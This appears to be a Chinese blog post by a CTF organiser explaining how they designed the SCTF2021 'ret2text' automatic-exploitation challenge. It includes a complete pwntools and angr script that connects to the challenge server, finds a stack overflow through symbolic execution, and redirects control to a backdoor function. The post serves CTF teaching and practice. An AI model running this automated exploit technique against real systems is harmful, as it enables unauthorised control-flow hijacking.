SCTF2021: ret2text 出题思路

SCTF2021: ret2text 出题思路

前几个月打过一次 RHG 比赛(自动化 pwn AEG),当时被 Angr 折腾得快不行了,现在回想起来又觉得很有意思,于是就模仿出了一道 AEG 题目。

第一次出这种题,糟点很多,比如随机规则太明显,很多师傅选择直接用一些启发式算法解析程序。

这道题有两个点需要自动化:

  1. 找到漏洞溢出点
  2. 求解能使程序到达溢出点的输入

找到漏洞溢出点:对输入符号化 -> angr explore 探索所有路径(不设置find)-> 直到遇到 unconstrained 状态(此时 PC 寄存器是符号)

Angr 在实例化 SimulationManager 类的时候指定 save_unconstrained=True 开启保存 unconstrained 状态,当 explore 调用路径探索算法遇到 unconstrained 时会将该 state 存入 unconstrained 数组。

求解能使程序到达溢出点的输入: 直接使用 unconstrained state 求解,将 pc 寄存器指向 backdoor 函数即可。当然在这道题的环境下,pc 寄存器应该指向 ret 指令地址用于调整栈地址对齐。

当时参加RHG的时候, 我们的策略是利用 fuzz + 符号执行寻找 Crash,再利用符号执行分析 Crash,最后根据 Crash State 生成 payload,显然这道题是不需要 Fuzz 的。

这道题有四个函数需要 Hook 处理

  1. Z5fksthPKcS0 字符串比较函数
  2. _Z10input_linePcm 字符串输入函数
  3. _Z9input_valv 整数输入函数
  4. _Z4initv 空函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
import angr
import claripy
import base64
def pass_proof(target, part):
pass

r = remote("123.60.82.85", 1447)
r.recvline()
r.recvline()
r.recvline()
proof = r.recvline().decode("ASCII")
ppp = pass_proof(proof[proof.find("== ") + 3: -2], proof[len("sha256(xxxx + "): proof.find(") == ")])
r.sendlineafter(b"give me xxxx:", ppp.encode("ASCII"))
r.recvline()
bin_data = base64.b64decode(r.recvline().decode("ASCII"))
###########################################################################################################
open("a.out", "wb").write(bin_data)
ret_rop = bin_data.find(b'\xc3', 0x1000) + 0x400000
print("ret_rop:", hex(ret_rop))

p = angr.Project("./a.out")

def getBVV(state, sizeInBytes, type = 'str'):
global pathConditions
name = 's_' + str(state.globals['symbols_count'])
bvs = claripy.BVS(name, sizeInBytes * 8)
state.globals['symbols_count'] += 1
state.globals[name] = (bvs, type)
return bvs

def angr_load_str(state, addr):
s, i = '', 0
while True:
ch = state.solver.eval(state.memory.load(addr + i, 1))
if ch == 0: break
s += chr(ch)
i += 1
return s

class ReplacementCheckEquals(angr.SimProcedure):
def run(self, str1, str2):
cmp1 = angr_load_str(self.state, str2).encode("ascii")
cmp0 = self.state.memory.load(str1, len(cmp1))
self.state.regs.rax = claripy.If(cmp1 == cmp0, claripy.BVV(0, 32), claripy.BVV(1, 32))

class ReplacementCheckInput(angr.SimProcedure):
def run(self, buf, len):
len = self.state.solver.eval(len)
self.state.memory.store(buf, getBVV(self.state, len))

class ReplacementInputVal(angr.SimProcedure):
def run(self):
self.state.regs.rax = getBVV(self.state, 4, 'int')

class ReplacementInit(angr.SimProcedure):
def run(self):
return

p.hook_symbol("_Z5fksthPKcS0_", ReplacementCheckEquals())
p.hook_symbol("_Z10input_linePcm", ReplacementCheckInput())
p.hook_symbol("_Z9input_valv", ReplacementInputVal())
p.hook_symbol("_Z4initv", ReplacementInit())
enter = p.factory.entry_state()
enter.globals['symbols_count'] = 0
simgr = p.factory.simgr(enter, save_unconstrained=True)
d = simgr.explore()
backdoor = p.loader.find_symbol('_Z8backdoorv').rebased_addr
for state in d.unconstrained:
bindata = b''
rsp = state.regs.rsp
next_stack = state.memory.load(rsp, 8, endness=p.arch.memory_endness)
state.add_constraints(state.regs.rip == ret_rop)
state.add_constraints(next_stack == backdoor)
for i in range(state.globals['symbols_count']):
s, s_type = state.globals['s_' + str(i)]
if s_type == 'str':
bb = state.solver.eval(s, cast_to=bytes)
if bb.count(b'\x00') == len(bb):
bb = b'A' * bb.count(b'\x00')
bindata += bb
elif s_type == 'int':
bindata += str(state.solver.eval(s, cast_to=int)).encode('ASCII') + b' '
print(bindata)
r.send(bindata)
r.interactive()
break

github: https://github.com/P4nda0s/CheckIn_ret2text (docker & source code)


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!